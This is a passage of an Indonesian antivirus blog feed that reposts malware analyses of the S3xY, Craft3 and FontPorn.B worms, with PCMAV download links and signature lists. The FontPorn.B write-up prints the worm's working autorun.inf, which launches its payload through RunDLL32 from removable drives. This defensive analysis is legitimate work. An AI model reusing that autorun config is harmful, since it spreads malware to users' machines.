</b></span><span style="font-size: 100%; font-weight: normal;">(4shared)</span></span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><span style="font-size: 100%;"><b><a href="http://www.ziddu.com/download/17164320/vdbBuild4.rar.html">Update Build 4</a> </b></span><span style="font-size: 100%; font-weight: normal;">(ziddu)</span></span></span></b></span></div> <span class="date"><b><span class="date"><span class="date"><br /> </span></span></b></span></div> </div></description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>PCMAV Express for S3xYhttp://ekodomba.blogspot.com/2011/10/pcmav-express-for-s3xy.htmlAnti VirusPCMAVnoreply@blogger.com (Unknown)Tue, 11 Oct 2011 12:41:00 +0700tag:blogger.com,1999:blog-887853086853221447.post-4364222994434322596<h2 style="text-align: center;"><a href="http://ekodomba.blogspot.com/2011/10/pcmav-express-for-s3xy.html">PCMAV Express for S3xY</a></h2><div class="info"><span class="date"> </span><span class="comments"><a href="http://virusindonesia.com/2011/10/09/pcmav-express-for-s3xy/#comments"></a></span> </div><br /> <div style="border: 1px solid rgb(153, 153, 153); height: 340px; overflow: auto; text-align: left; width: 450px;"><img alt="S3xY" src="http://virusindonesia.com/wp-content/uploads/2011/10/s3xy.png" /></div><br /> <b>S3xY</b> merupakan salah satu trojan dengan kemampuan pertahanan diri yang cukup kompleks, dilengkapi dengan teknik <i>hooking</i> <i>API function</i>,&nbsp; <i>anti-emulator</i>, menginjeksi <i>process</i> tertentu, dan mampu menyembunyikan process explorer.exe dari Task Manager dan software sejenis.<br /> Trojan ini juga membuat file “autorun.inf” pada <i>removable disk</i>, mengakses berbagai alamat HTTP dan IRC tertentu. Akibatnya tentu berpengaruh pada kinerja komputer secara keseluruhan karena <i>resource</i> akan terpakai oleh process yang dibuat S3xY. <span id="more-2074"></span><br /> <br /> <a name='more'></a><br /> Nama S3xY diambil dari string yang terdapat pada thread trojan yang aktif di memory komputer yang telah terinfeksi.&nbsp; Komputer pengguna yang telah terinfeksi mungkin menunjukkan tanda-tanda yang mencurigakan seperti kinerja yang lambat, namun relatif tidak mudah menemukan file dan process trojan yang bersemayam karena teknik rootkit yang diimplementasikannya, antara lain meng-hook API function berikut :<br /> <br /> - CreateProcessW<br /> - NtEnumerateValueKey<br /> - NtQueryDirectoryFile<br /> - NtQuerySystemInformation<br /> - RtGetNativeSystemInformation<br /> - ZwEnumerateValueKey<br /> - ZwQueryDirectoryFile<br /> - ZwQuerySystemInformation<br /> <br /> <b>PCMAV Express for S3xY</b> dibuat untuk membersihkan trojan S3xY agar tidak semakin menyebar, <i></i>menghentikan proses S3xY di memory komputer yang terinfeksi, melakukan unhook API function dan mendeteksi serta menghapus file S3xY yang tersembunyi.<br /> <br /> <b>Aturan Penggunaan:</b><br /> <ol><li>Jalankan PCMAV for S3xY.</li> <li>Pastikan user Anda memiliki hak setara Administrator.</li> <li>Nonaktifkan fungsi Autorun (link referensi: <a href="http://support.microsoft.com/kb/967715">http://support.microsoft.com/kb/967715</a>).</li> <li>Pasang flashdisk yang terinfeksi pada komputer agar ikut dibersihkan oleh PCMAV Express for S3xY.</li> <li>Disarankan sebaiknya komputer Anda *tidak* terkoneksi ke jaringan atau Internet selama proses scan.</li> <li>Setelah selesai, sangat disarankan untuk melakukan restart dan scan ulang (jika perlu).</li> <li>Pastikan seluruh PC yang telah terhubung di dalam jaringan juga telah bebas S3xY, sebelum PC Anda kembali terkoneksi ke jaringan.</li> </ol>Secara regular <i>engine</i> utama PCMAV akan di-update mengikuti perkembangan S3xY.<br /> Pada halaman ini kami juga menyediakan PCMAV Express for S3xY untuk di-download pada link dibawah ini.<br /> <br /> <span class="date" style="color: #cc0000;"><b><span class="date"><span class="date"><b style="font-weight: bold;">1. </b></span></span></b></span><b style="color: #cc0000;">Download PCMAV Express for S3xY </b><span class="date"><b><span class="date"><span class="date"><span style="color: #cc0000; font-weight: bold;">:</span> <br /> </span> </span></b></span><br /> <div class="main"><div style="text-align: left;"><b><a href="http://www.indowebster.com/pcmav_express_for_s3xy_1.html">PCMAV Express for S3xY</a><span class="date"><span class="date"><span class="date"><span style="font-weight: bold;"> </span><span style="font-weight: normal;">(idws)</span></span></span></span></b></div><div style="text-align: left;"><b><span class="date"><span class="date"><span class="date"> </span></span></span></b></div><div style="text-align: left;"><br /> <b><span class="date"><span class="date"><span class="date"><span style="font-weight: bold;">Alternative Link :</span></span></span></span></b></div><div style="text-align: left;"><b><a href="http://www.4shared.com/file/-xekx3LP/PCMAV_Express_for_S3xY.html">PCMAV Express for S3xY</a><span class="date"><span class="date"><span class="date"> <span style="font-weight: normal;">(4shared)</span> </span></span></span></b></div><div style="text-align: left;"><b><a href="http://www.ziddu.com/download/16761724/PCMAVExpressforS3xY.rar.html">PCMAV Express for S3xY</a><span class="date"><span class="date"><span class="date"> <span style="font-weight: normal;">(ziddu)</span> </span></span></span></b></div><div style="text-align: left;"><b><span class="date"><span class="date"><span class="date"> </span></span></span></b></div><br /> <b></b></div>1<link>http://ekodomba.blogspot.com/2011/10/build-3.html</link><category>Anti Virus</category><category>PCMAV</category><author>noreply@blogger.com (Unknown)</author><pubDate>Sat, 8 Oct 2011 13:04:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-887853086853221447.post-4358938834868882546</guid><description><div style="text-align: center;"> <a href="http://ekodomba.blogspot.com/2011/10/build-3.html"><span style="font-size: large;"><b><span style="font-weight: bold;">PCMAV 5.5 Valhalla + Build3</span></b></span></a><br /> <a href="http://virusindonesia.com/2011/10/07/craft3-trojan-untuk-para-gamers-warcraft-iii/"><span style="font-size: large;"><b>Craft3: Trojan Untuk Para Gamers WarCraft III</b></span></a></div> <br /> <br /> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/craft3/1.warcraft3.png" /><br /> <br /> <b>Craft3</b>. Baru-baru ini kami mendapatkan sampel malware dari user yang asalnya dari Jakarta. Sekilas file tersebut sama seperti file loader untuk menjalankan Game WarCraft, dalam hal ini WarCraft III. Pada tahap awal analisa, kami sengaja langsung menjalankan malware ini, untuk meyakinkan bahwa file tersebut sejenis malware atau memang loader game warcraft. Menariknya setelah di jalankan, secara umum file tersebut tidak mencirikan adanya hal-hal yang mencurigakan. Tetapi, kami coba dengan file loader game warcraft yang asli yang dijalankan sama seperti file yang di duga adalah malware, dan file tersebut menunjukan perbedaan yang benar-benar mendasar, Karena loader game yang sebenarnya tidak akan berjalan tanpa komponen pendukung dari game tersebut. Sedangkan sampel malware yang di jalankan sebelumnya, sudah aktif di memory.<br /> <br /> <a name='more'></a><span class="date"><br /> <b>A. Info File</b><br /> Nama Worm : Craft3<br /> Asal : Jakarta<br /> Ukuran File : 94.0 KB (96,256 bytes)<br /> Packer : ~<br /> Pemrograman : C++<br /> Icon : Loader Game WarCraft III<br /> Tipe : Trojan, Worm<br /> <br /> <b>B. About Malware</b><br /> <br /> </span><br /> <div style="border: 1px solid rgb(153, 153, 153); height: 75px; overflow: auto; text-align: left; width: 450px;"> <span class="date"><span class="date"><img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/craft3/2.icon.png" /></span></span></div> <span class="date"><span class="date"><br /> Seperti yang sudah dijelaskan di atas, malware yang kami beri nama sesuai dengan iconnya yaitu Craft3 adalah malware tipe trojan. Untuk mengelabui user, sebenarnya Craft3 menggunakan 2 buah teknik <i>social engenering</i>. Yang pertama adalah icon yang sama dengan loader Warcraft III, dan yang kedua adalah properties name dari salah satu tools (Gateaway Editor) yang berfungsi untuk memilih server mana yang akan digunakan dalam game Warcraft. Berikut adalah hasil komparasi yang menunjukan perbedaan antara Loader Warcraft, tools Gateaway Editor, sdan Trojan Craft3.<br /> <br /> 1. Setelah Craft3 dijalankan, maka akan langsung membuat host di salah satu direktori di folder <i>system32</i>, sedangkan loader Warcraft tidak akan berjalan tanpa adanya komponen pendukung lainnya untuk game Warcraft. Hal ini ditandai dengan keluarnya pesan sepert di bawah ini:<br /> <br /> </span></span><br /> <div style="border: 1px solid rgb(153, 153, 153); height: 140px; overflow: auto; text-align: left; width: 450px;"> <span class="date"><span class="date"><span class="date"><img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/craft3/3.game_loader.png" /></span></span></span></div> <span class="date"><span class="date"><span class="date"><br /> 2. Craft3 menggunakan properties name yang sama seperti Gateaway Editor. Memang jarang ada yang menyadari, dan melakukan pengecekan sebelum memainkan game, karena Gateaway Editor yang asli di-pack menggunakan UPX, sedangkan Craft3, tidak menggunakan packer. Gateaway Editor adalah tools yang dibuat oleh Quixotic Yawl Studio, dan digunakan oleh beberapa user untuk game online seperti StarCraft, Diablo 2, dan Warcraft 3. Fungsinya adalah untuk memilih server mana yang akan digunakan untuk bermain. Berikut adalah screenshotnya:<br /> <br /> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/craft3/4.gateaway_editor.png" /><br /> <b><br /> C. Companion/File yang dibuat</b><br /> Setelah aktif, worm ini akan menghapus host-nya sendiri setelah dijalankan, akan tetapi mengcopykan beberapa companionnya ke direktori seperti:<br /> </span><br /> </span></span><br /> <blockquote> <span class="date"><span class="date"><span class="date"><code>C:\Documents and Settings\[user profile]\Local Settings\Temp\[nama acak].tmp<br /> C:\WINDOWS\system32\spool\prtprocs\w32x86\[nama acak].tmp</code></span></span></span></blockquote> <div style="border: 1px solid rgb(153, 153, 153); height: 300px; overflow: auto; text-align: left; width: 450px;"> <span class="date"><span class="date"><span class="date"><img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/craft3/5.host.png" /></span></span></span></div> <span class="date"><span class="date"><span class="date"><br /> <b>D. Hasil Infeksi</b><br /> User yang sudah terinfeksi Craft3, tidak akan menyadari aktivitas / payload yang dibuatnya. Karena untuk prosesnya saja Craft dibuat agar tidak dapat terdeteksi. Selain itu, meski hostnya ditemukan tidak akan bisa dihapus manual, karena di-<i>lock</i> oleh proses spoolsv.exe. meski demikian tetap saja proses Craft3 tidak bisa terdeteksi. Berikut ini adalah aktivitas Craft3 yang memanfaatkan adanya koneksi komputer yang terinfeksi dengan suatu jaringan.<b><br /> <br /> </b></span></span></span><br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"> <div style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"> <span class="date"><span class="date"><span class="date"><b><span class="date"><img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/craft3/7.workgroup.png" /></span></b></span></span></span></div> <div style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"> <span class="date"><span class="date"><b><span class="date"><img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/craft3/6.connect_internet.png" /></span></b></span></span></div> <span class="date"><span class="date"><b><span class="date"><br /> </span></b></span></span></div> <span class="date"><span class="date"><b><span class="date"><br /> <b>E. Pembersihan</b><br /> <br /> </span></b></span></span><br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"> <span class="date"><span class="date"><b><span class="date"><span class="date"><img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/craft3/8.pcmav.png" /></span></span></b></span></span></div> <div class="separator" style="clear: both; text-align: center;"> </div> <br /> <div class="separator" style="clear: both; text-align: center;"> </div> &nbsp;<span class="date"><b><span class="date"><span class="date"></span></span></b><span class="date"><span class="date"><b>PCMAV 5.5 Update Build3<br /> </b><br /> Untuk membasmi virus ini ataupun varian virus lainnya, PCMAV 5.5 Update Build3 telah hadir dengan penambahan 81 pengenal varian virus baru. Bagi Anda pengguna PCMAV 5.5, sangat disarankan segera melakukan <i>update</i>, agar PCMAV Anda dapat mengenali dan membasmi virus lebih banyak lagi.<br /> <br /> Untuk mendapatkan dan menggunakan update PCMAV ini, Anda cukup menjalankan PCMAV.exe, komputer harus dalam keadaan aktif terhubung ke Internet. Jika koneksi Internet menggunakan <i>proxy</i>, tentukan konfigurasi proxy pada file proxy.txt . Fitur Automatic Updates dari PCMAV akan secara otomatis men-download dan meng-update database dari PCMAV. Anda juga dapat mengupdate kapan saja dengan klik kanan icon PCMAV pada system tray dan pilih <i>Update</i>.<br /> <br /> Bagi Anda yang ingin mendapatkan file update tersebut secara manual, Anda bisa men-download file-nya melalui beberapa link dibawah ini:<br /> <br /> Letakkan file hasil download tersebut (update.vdb) ke dalam folder \vdb. Jika sebelumnya telah terdapat file update yang lama, Anda cukup menimpanya. Pastikan sekali lagi, bahwa nama file update adalah update.vdb, jika berbeda, cukup ubah namanya. Dan nanti saat Anda kembali menjalankan PCMAV, ia sudah dalam keadaan kondisi ter-update.<br /> <br /> <b>Daftar tambahan virus hingga PCMAV 5.5 Update Build3:</b><br /> Autoit-ReplaceIcon.L<br /> Craft3<br /> Craft3.tmp<br /> Elize.B<br /> ErrorLove.vbs<br /> ErrorLove.vbs.inf<br /> ErrorLove.vbs.txt<br /> FBSurprise<br /> FBSurprise.drp<br /> FBSurprise.exe.A<br /> FBSurprise.exe.B<br /> FBSurprise.job.A<br /> FBSurprise.job.B<br /> FBSurprise.jpg<br /> FBSurprise.tmp.A<br /> FBSurprise.tmp.B<br /> FBSurprise.tmp.C<br /> FluX<br /> FluX.DLL<br /> Flw<br /> FontPorn.B<br /> FontPorn.B.exe.A<br /> FontPorn.B.exe.B<br /> FontPorn.B.lnk<br /> FontPorn.B.tmp<br /> FontPorn.C<br /> FontPorn.C.ini<br /> GooDown<br /> Gphone<br /> IntreNat<br /> LegendMir<br /> LegendMir.dll<br /> Mbzuchi<br /> NgrBot.A.dat.variant<br /> NgrBot.A.drp.A.variant<br /> NgrBot.A.drp.B.variant<br /> NgrBot.A.drp.C.variant<br /> NgrBot.A.exe.A.variant<br /> NgrBot.A.exe.B.variant<br /> NgrBot.A.inf.variant<br /> NgrBot.A.lnk.variant<br /> NgrBot.A.variant<br /> NgrBot.B.inf.variant<br /> NgrBot.B.variant<br /> NgrBot.C.variant<br /> NgrBot.D.variant<br /> NgrBot.E.variant<br /> NgrBot.F.variant<br /> NgrBot.G.variant<br /> NgrBot.H.variant<br /> Noa<br /> Noa.inf<br /> None<br /> Retfig<br /> Romantic<br /> Romantic.inf<br /> Rose-Loren.F<br /> SevenTech<br /> SevenTech.host<br /> SmallSmile.vbs<br /> SmallSmile.vbs.inf<br /> Sopian<br /> Sopian.htm<br /> TODO<br /> TODO.drp<br /> TroSystem<br /> TroSystem.dat<br /> TroSystem.inf<br /> UltraSurf.A<br /> UltraSurf.A.bat<br /> UltraSurf.B<br /> UltraSurf.C<br /> UltraSurf.D<br /> UltraSurf.D.bat<br /> VLyc<br /> VLyc.ico<br /> VLyc.url<br /> X-Sample.vbs.C<br /> X-Sample.vbs.C.inf<br /> X-Sample.vbs.C.ini<br /> X-Sample.vbs.C.mp3<br /> <br /> <br /> PCMAV 5.5 Update Build3 telah tersedia dengan penambahan 81 database virus baru yang telah berhasil ditambahkan pada update build kali ini. Berarti ada penambahan 29 database virus dari build2 yang hanya 52 database. Update PCMAV dapat dilakukan secara otomatis dengan memilih “Update” pada menu klik kanan icon PCMAV di system tray, ini salah satu fitur yang telah berhasil ditambahkan pada rilis PCMAV 5.5 Jika Anda ingin mendownload update build secara manual dapat melalui link dibawah ini.<br /> <br /> <br /> (Keterangan Lengkap Lihat Gambar Di Bawah) .........<br /> <br /> </span></span></span><br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWOacN3kz7DXLSTOFpueCgxMohYFj-fa1gbKnOIIXBairCFG3zAJZqE3fmTubMiHX1jktKAcQEW1s0yfCW_CqZtyrPJaXRzEXKOOAdZkkmSi71ytaDAiWCc0vNqbCnPXsqfhhn-dMFnK8X/s1600/2b.JPG" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWOacN3kz7DXLSTOFpueCgxMohYFj-fa1gbKnOIIXBairCFG3zAJZqE3fmTubMiHX1jktKAcQEW1s0yfCW_CqZtyrPJaXRzEXKOOAdZkkmSi71ytaDAiWCc0vNqbCnPXsqfhhn-dMFnK8X/s1600/2b.JPG" /><br /> </a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQDZ5hdIXcez5H6Uh5ByR-SekDOSENDhla5WObwbrFCtRgOeclZVIWb-We9L-lPiO4PXvPW7krhT3LX97T8BtpsuWqZWZkCRPEYPPvhttQM3bsYjAGFydB0tdYUtdBQxRAI5Tc1aTdv3_K/s1600/1b.JPG" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQDZ5hdIXcez5H6Uh5ByR-SekDOSENDhla5WObwbrFCtRgOeclZVIWb-We9L-lPiO4PXvPW7krhT3LX97T8BtpsuWqZWZkCRPEYPPvhttQM3bsYjAGFydB0tdYUtdBQxRAI5Tc1aTdv3_K/s1600/1b.JPG" /></a><span class="date"><span class="date"><span class="date"><br /> </span></span></span><br /> <span class="date"><span class="date"><span class="date"> <br /> </span></span></span></div> <div style="text-align: left;"> <br /> <br /> <div style="text-align: center;"> <span style="font-size: 180%; font-weight: bold;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt;</span> </div> <br /> <br /></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><span style="color: #ff6666; font-weight: bold;">Note (Penting) :</span> </span></span></b></span></div> <ol style="text-align: left;"> <li><span class="date"><b><span class="date"><span class="date"><span style="color: #ff6666; font-weight: bold;">Setelah&nbsp; Download PCMAV 5.5 Valhalla extraks terlebih dahulu kemudian copy/cut seluruh </span><b>Isi Yang Terdapat Dalam Folder</b><span style="color: lime; font-size: small;"> </span><span style="color: #ff6666; font-weight: bold;">ekstrakan tersebut kedalam folder PCMAV sebelumnya (PCMAV 5.4 Valhalla), jika belum memiliki </span><span style="color: #ff6666; font-weight: bold;">PCMAV 5.4 Valhalla silahkan Download disini </span><a href="http://ekodomba.blogspot.com/2011/08/pcmav-54-valhalla.html"><b>PCMAV 5.4</b></a></span></span></b></span></li> <span class="date"><b><span class="date"> <span class="date"> <li><span style="color: #ff6666; font-weight: bold;">no.2 <span style="color: red;">(</span></span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build3)</span><span style="color: #ff6666; font-weight: bold;"><span style="color: #cc0000;"> </span>di Extract dahulu setelah itu dimasukan dalam folder PCMAV 5.5 Valhalla/vdb</span></li> </span></span></b></span></ol> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><br /> </span><br /> </span></b></span></div> <div style="color: red; text-align: left;"> <span class="date"><b><span class="date"><span class="date"><span style="font-size: large;"><b><i>Download Here</i></b></span></span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><br /> <b style="color: #cc0000; font-weight: bold;">1. Hanya Download PCMAV </b><span style="color: #cc0000; font-weight: bold;"><b>5</b>.5 Valhalla </span><span style="font-weight: bold;"><span style="color: #cc0000;">:</span></span> <br /> </span><br /> </span></b></span></div> <div class="main"> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><span style="font-weight: bold;"> </span><span style="font-weight: bold;"><a href="http://www.indowebster.com/pcmav_5_5_valhalla_ekodomba_blogspot_.html">PCMAV 5.5</a> </span><span style="font-weight: normal;">(idws)</span></span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"> </span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><span style="font-weight: bold;">Mirror Link :</span></span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><b><a href="http://www.4shared.com/file/DiZoRCk_/PCMAV_55_Valhalla__ekodombablo.html">PCMAV 5.5</a> </b><span style="font-weight: normal;">(4shared)</span> </span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><b><a href="http://www.ziddu.com/download/16483263/PCMAV5.5Valhallaekodomba.blogspot.rar.html">PCMAV 5.5</a> </b><span style="font-weight: normal;">(ziddu)</span> </span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"> </span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><br /> </span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><span style="color: #cc0000; font-weight: bold;">2. </span><span style="color: #cc0000; font-weight: bold;">Hanya Download update (.vdb) Build3 :</span> </span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><span style="font-weight: bold;"> </span><a href="http://www.indowebster.com/vdb_build3__1.html"><span style="font-size: 100%;"><b>Update Build 3</b></span></a><span style="font-weight: bold;"> </span><span style="font-weight: normal;">(idws)</span><span style="font-weight: bold;">&nbsp;</span></span></span></b></span></div> <b>Mirror</b><span class="date"><b><span class="date"><span class="date"><span style="font-weight: bold;"> Link :</span></span></span></b></span><br /> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><span style="font-size: 100%;"><b><a href="http://www.4shared.com/file/4kuE__VZ/vdb__Build3__10.html">Update Build 3</a> </b></span><span style="font-size: 100%; font-weight: normal;">(4shared)</span></span></span></b></span></div> <div style="text-align: left;"> <span class="date"><b><span class="date"><span class="date"><span style="font-size: 100%;"><b><a href="http://www.ziddu.com/download/16717035/vdbBuild3.rar.html">Update Build 3</a> </b></span><span style="font-size: 100%; font-weight: normal;">(ziddu)</span></span></span></b></span></div> <span class="date"><b><span class="date"><span class="date"><br /> </span></span></b></span></div></description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWOacN3kz7DXLSTOFpueCgxMohYFj-fa1gbKnOIIXBairCFG3zAJZqE3fmTubMiHX1jktKAcQEW1s0yfCW_CqZtyrPJaXRzEXKOOAdZkkmSi71ytaDAiWCc0vNqbCnPXsqfhhn-dMFnK8X/s72-c/2b.JPG" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title/><link>http://ekodomba.blogspot.com/2011/10/builld-2.html</link><category>Anti Virus</category><category>PCMAV</category><author>noreply@blogger.com (Unknown)</author><pubDate>Sat, 8 Oct 2011 12:07:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-887853086853221447.post-434221975152467721</guid><description><div class="info"> <div style="text-align: left;"> <div style="text-align: center;"> <div style="text-align: center;"> <a href="http://ekodomba.blogspot.com/2011/10/builld-2.html#more"><b><span style="font-size: large;"><span style="font-weight: bold;">PCMAV 5.5 Valhalla + Build2</span></span></b></a><br /> <a href="http://virusindonesia.com/2011/09/26/fontporn-b-please-upgrade-to-a-modern-software/"><b><span style="font-size: large;">FontPorn.B: Please Upgrade To a Modern Software</span></b></a></div> <div style="text-align: left;"> <b><span style="font-size: large;"> </span></b><br /> <div class="info"> <span class="date"><br /> </span><span class="comments"></span> </div> <div class="info"> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 500px;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/fontpornb/1.map.png" /></div> <br /> <b>FontPorn.B</b>. Masih ingat dengan worm yang iconnya mirip sebuah file font?, FontPorn yang pernah di bahas kini datang lagi dengan pola penyebaran dan teknik yang hampir sama. Nyaris tidak ada perbedaan dari varian sebelumnya. Yang menarik adalah, berbeda dengan FontPorn.A yang mengakses sebuah website yang berasal dari Ukraina/Ukraine, kali ini website yang berasal dari Romania.<br /> <br /> <a name='more'></a><br /> <b>A. Info File</b><br /> Nama Worm : FontPorn.B<br /> Asal : Romania<br /> Ukuran File : 62.5 KB (64,000 bytes) / 64.0 KB (65,536 bytes)<br /> Packer : ~<br /> Pemrograman : Microsoft Visual C++ ver. ~6.0~7.10<br /> Icon : Font File<br /> Tipe : Worm<br /> <br /> <b>B. About Malware</b><br /> FontPorn.A pernah di bahas di link berikut : <a href="http://virusindonesia.com/2011/05/24/font-porn/">http://virusindonesia.com/2011/05/24/font-porn/</a> , laporan akan adanya virus dengan icon font yang gejalanya mirip&nbsp; infeksi FontPorn, pertama kali kami dapatkan dari forum virusindonesia.com (<a href="http://virusindonesia.com/forum/viewtopic.php?id=1086">http://virusindonesia.com/forum/viewtopic.php?id=1086</a>) dan sampelnya kami dapatkan dari salah satu user yang berasal dari Surabaya. Selain itu, kami juga mendapatkan sampel dari Pekan Baru dan Riau. Hal ini menandakan bahwa worm FontPorn ini masih menyebar Indonesia.<br /> <br /> <b>C. Companion/File yang dibuat</b><br /> Tidak jauh berbeda dengan varian sebelumnya, FontPorn membuat Host di folder Temporary<br /> C:\Documents and Settings\Administrator\Local Settings\Temp\srv****.tmp (*** berisi angka acak, file ini sebenarnya merupakan file DLL)<br /> <br /> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/fontpornb/2.host.png" /><br /> <br /> Dan beberapa shortcut di Removable Disk :<br /> - myporno.avi.lnk<br /> - pornmovs.lnk<br /> - setup1911.lnk<br /> Autorun.inf, yang isi sourcenya terdiri dari beberapa karakter acak:<br /> <blockquote> <code>[AutoRuN]<br /> AcTIon=OPeN<br /> tostpqxvrjomspfti=nqrpswtrveposhyrvbvlpdmecbrnqsdw<br /> icoN=%WIndIr%\SYsTem32\shELl32.dll,4<br /> qguvwxwcrurfmlq=bqomtnxycqgkjdwovpppdri<br /> USeAUtOPlaY=1<br /> yhmprvxmaexaymhlkyuekgrqwyue=dgdthyfaxieuovqb<br /> open=RunDLl32.exE SeTuP1911.foN,29dcC<br /> dmcxuoyhxfu=rjhjwhlrmtusiwnvkovlxdmvggieoflt<br /> sHeLl\exPLOrE\cOmmaND=RuNdll32.eXe SEtuP1911.FON,29DCC<br /> lglhxb=sekxuadigguiboukpwqmoxikgmgggwqowsh<br /> SheLl\opeN\cOMMand=RUNdll32.ExE setuP1911.FoN,29Dcc<br /> ordshvveeefgmb=qwycdgrawtyymtscusyc<br /> </code></blockquote> Yang ditampilkan pada AutoPlay adalah:<br /> <br /> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/fontpornb/3.auto_play.png" /><br /> <br /> Dan yang terakhir adalah host yang dibuat nantinya akan dipanggil oleh shortcut atau autorun.inf dengan nama:<br /> - setup1911.fon<br /> <br /> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/fontpornb/11.flashdisk.png" /><br /> <br /> <b>D. Hasil Infeksi</b><br /> 1. Mencoba menyebar melalu jaringan dan menginfeksi komputer yang terhubung dengan jaringan tersebut.<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 500px;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/fontpornb/4.conected_to_network.png" /></div> <br /> 2. Mencoba mengakses suatu website melalui porses svchost.exe atau spoolsv.exe dan melakukan pengiriman paket data tanpa sepengetahuan user.<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 500px;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/fontpornb/5.connected_with_svchost.png" /></div> <br /> Mengakses website melalui <b>svchost.exe</b><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 500px;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/fontpornb/6.connected_with_spoolsv.png" /></div> <br /> Mengakses website melalui <b>spoolsv.exe</b><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 500px;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/fontpornb/7.connecting_to_ip.png" /></div> <br /> Mengirimkan data paket ke website yang dituju.<br /> <br /> 3. Jika user dengan sengaja membuka Alamat yang diakses oleh FontPorn.B, maka user akan diminta untuk mendownload sebuah file dengan alasan browser yang sedang digunakan harus di-update. File yang di download tidak lain ada companion dari FontPorn.B sendiri.<br /> <br /> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/fontpornb/8.ip.png" /><br /> <br /> tampilan website yang dituju oleh FontPorn.B<br /> <br /> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/fontpornb/9.download_dialog.png" /><br /> <br /> Tampilan Download Security Warning jika user mencoba mendownload file tersebut.<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 110px; overflow: auto; text-align: left; width: 500px;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/fontpornb/10.source_html.png" /></div> <br /> setelah diperhatikan lebih jauh, ternyata di dalam source code halaman website terdapat copyright pembuatnya. Serta pesan yang tidak ditampilkan.<br /> <br /> <b>E. Pembersihan</b><br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 500px;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/09/fontpornb/clean.png" /></div> <br /> <b>PCMAV 5.5 Update Build2</b><br /> <br /> Untuk membasmi virus ini ataupun varian virus lainnya, PCMAV 5.5 Update Build2 telah hadir dengan penambahan <b>52 </b> pengenal varian virus baru. Bagi Anda pengguna PCMAV 5.5, sangat disarankan segera melakukan <i>update</i>, agar PCMAV Anda dapat mengenali dan membasmi virus lebih banyak lagi.<br /> <br /> Untuk mendapatkan dan menggunakan update PCMAV ini, Anda cukup menjalankan PCMAV.exe, komputer harus dalam keadaan aktif terhubung ke Internet. Jika koneksi Internet menggunakan <i>proxy</i>, tentukan konfigurasi proxy pada file proxy.txt . Fitur Automatic Updates dari PCMAV akan secara otomatis men-download dan meng-update database dari PCMAV. Anda juga dapat 